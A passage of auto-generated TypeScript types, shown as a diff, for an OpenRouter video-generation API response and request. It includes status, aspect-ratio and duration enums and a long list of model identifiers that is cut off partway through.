openrouterPostVideosXAiGrokImagineVideo15LiteStatus200StatusEnum = + { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', + } as const + +export type OpenrouterPostVideosXAiGrokImagineVideo15LiteStatus200StatusEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideo15LiteStatus200StatusEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideo15LiteStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosXAiGrokImagineVideo15LiteStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosXAiGrokImagineVideo15LiteStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosXAiGrokImagineVideo15LiteRequestAspectRatioEnum = + { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', + } as const + +export type OpenrouterPostVideosXAiGrokImagineVideo15LiteRequestAspectRatioEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideo15LiteRequestAspectRatioEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideo15LiteRequestAspectRatioEnum] + +export const openrouterPostVideosXAiGrokImagineVideo15LiteRequestDurationEnum = + { + '1': 1, + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + } as const + +export type OpenrouterPostVideosXAiGrokImagineVideo15LiteRequestDurationEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideo15LiteRequestDurationEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideo15LiteRequestDurationEnum] + +export const openrouterPostVideosXAiGrokImagineVideo15LiteRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 